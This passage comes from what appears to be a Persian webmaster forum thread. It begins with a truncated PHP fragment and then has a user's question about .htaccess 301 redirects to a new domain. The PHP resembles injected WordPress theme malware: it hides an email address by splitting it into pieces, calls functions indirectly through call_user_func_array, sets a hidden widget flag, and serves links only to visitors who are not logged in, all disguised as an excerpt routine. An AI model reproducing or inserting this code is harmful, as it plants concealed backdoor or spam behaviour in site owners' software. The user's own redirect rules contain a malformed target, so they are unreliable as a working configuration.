post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";# if (!empty($post->post_password)) { if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { if(is_feed()) { $output=__("There is no excerpt because this is a protected post."); } else { $output=get_the_password_form(); } } } if(!isset($fix_tag)) $fix_tag=1; if(!isset($filters_types)) $filters_types=$filter_h; if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content; if(!isset($more_tags)) $more_tags="div"; if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);# if(!isset($mlink_title)) $mlink_title="Continue reading this entry"; if(!isset($showdot)) $showdot=1; $comments=$wpdb->get_results($sql); if($fakeit == 2) { $text=$post->post_content; } elseif($fakeit == 1) { $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt; } else { $text=$post->post_excerpt; } $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";# if($length < 0) { $output=$text; } else { if(!$no_more && strpos($text, "<!--more-->")) { $text=explode("<!--more-->", $text, 2); $l=count($text[0]); $more_link=1; $comments=$wpdb->get_results($sql); } else { $text=explode(" ", $text); if(count($text) > $length) { $l=$length; $ellipsis=1; } else { $l=count($text); $more_links_text=""; $ellipsis=0; } } for ($i=0; $i<$l; $i++) $output .= $text[$i] . " "; } update_option("_is_widget_active_", 1); if("all" != $html_tags) { $output=strip_tags($output, $html_tags); return $output; } endif; $output=rtrim($output, "\s\n\t\r\0\x0B"); $output=($fix_tag) ? balanceTags($output, true) : $output; $output .= ($showdot && $ellipsis) ? "..." : ""; $output=apply_filters($filters_type, $output); switch($more_tags) { case("div") : $tag="div"; break; case("span") : $tag="span"; break; case("p") : $tag="p"; break; default : $tag="span"; } if ($use_link ) { if($forces_more) { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n"; } else { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n"; } } return $output; } add_action("init", "_prepared_widget"); ?>
  15. با سلام خواهش میکنم اساتیدی که میخان جواب بدن کامل بخونن سایت من به ادرس www.bo2bo3.com که یه سایت موسیقی هست فیلتر شده من میخوام این سایت و تمام مطالب اونا ریدایرکت 301 به دامنه جدید بکنم ... حتی پست ها هم ریدایرکت بشن به ادرس جدید www.mp3old.ir مثلا اگه توی گوگل هنگام سرچ این ادرس اومد www.bo2bo3.com/123/hassan تبدیل بشه به www.mp3old.ir/123/hassan من از سایت فول بک اپ گرفتم و روی هاست ریختم از دیتابیس هم بکاپ گرفتم و روی دیتابیس سایت جدید ایمپورت کردم توی فایل .htaccess هم این فایل را گذاشتم Options +FollowSymlinks RewriteEngine On RewriteCond %{HTTP_HOST} ^bo2bo3.com [NC] RewriteRule ^(.*)$ http://mp3old/$1 [L,R=301] RewriteCond %{HTTP_HOST} ^www.bo2bo3.com [NC] RewriteRule ^(.*)$ http://mp3old.ir/$1 [L,R=301] حالا نمیدونم چرا فقط صحف اول ریدایرکت میشه و پست ها ریدایرکت نمیشن